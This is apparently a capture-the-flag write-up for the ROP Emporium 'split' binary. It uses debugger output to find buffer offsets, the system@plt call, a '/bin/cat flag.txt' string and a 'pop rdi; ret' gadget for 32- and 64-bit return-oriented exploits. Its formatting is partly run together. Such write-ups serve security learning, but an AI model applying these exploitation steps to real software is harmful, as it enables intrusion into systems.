Functions available to us were pwnme, main, and usefulFunction.
pwndbg> disassemble usefulFunction Dump of assembler code for function usefulFunction:0x08048649<+0>: push ebp0x0804864a<+1>: mov ebp,esp0x0804864c<+3>: sub esp,0x80x0804864f<+6>: sub esp,0xc0x08048652<+9>: push 0x80487470x08048657<+14>: call 0x8048430<system@plt>0x0804865c<+19>: add esp,0x100x0804865f<+22>: nop0x08048660<+23>: leave 0x08048661<+24>: ret End of assembler dump.wndbg> x/s 0x80487470x8048747: "/bin/ls"
So the parameter the system function is calling is not that useful to us as it just list out the files. Which will not get us flag in any case.
So I ran strings on the binary to see what all strings do we have to work with.
---SNIP---UWVSt$,U[^_]splitbyROPEmporium32bitsExitingContrivingareasontoaskuserfordata.../bin/ls;*2$"(# WE HAVE OUR TARGET STRING/bin/cat flag.txt# WE HAVE OUR TARGET STRINGGCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609crtstuff.c__JCR_LIST__deregister_tm_clones__do_global_dtors_auxcompleted.7200--- SNIP ---
So it turns out that our binary contains the string that we want, which will get us the flag we want. So now we'll get the offset, call the system function and pass the address of the string as the parameter and we'll be good to go.
32 bit
The offset of the buffer was at 44 bytes. So let's find all the addresses we need to construct our exploit.
# Address that calls the system function0x08048657<+14>: call 0x8048430<system@plt># Address of the useful stringpwndbg> search -s "/bin/cat"split32 0x804a030'/bin/cat flag.txt'
Let's construct the final payload and get the flag.
In 64 bit architecture the parameter to the functions is not passed from stack instead the parameters are passed using the registers. So we'll have to find a ROP chain to put the address of the string into the RDI register [The first parameter register] and the call the function as usual.
The offset to RIP was 40 bytes.
Let's find all the important addresses.
# Address calling the system function0x0000000000400810<+9>:call0x4005e0<system@plt># Useful stringpwndbg> search-s"/bin/cat"split0x601060'/bin/cat flag.txt'# ROP Chain to pass the string to the RDI registerpwndbg> ropgadget--grep"pop rdi"0x0000000000400883:poprdi ; ret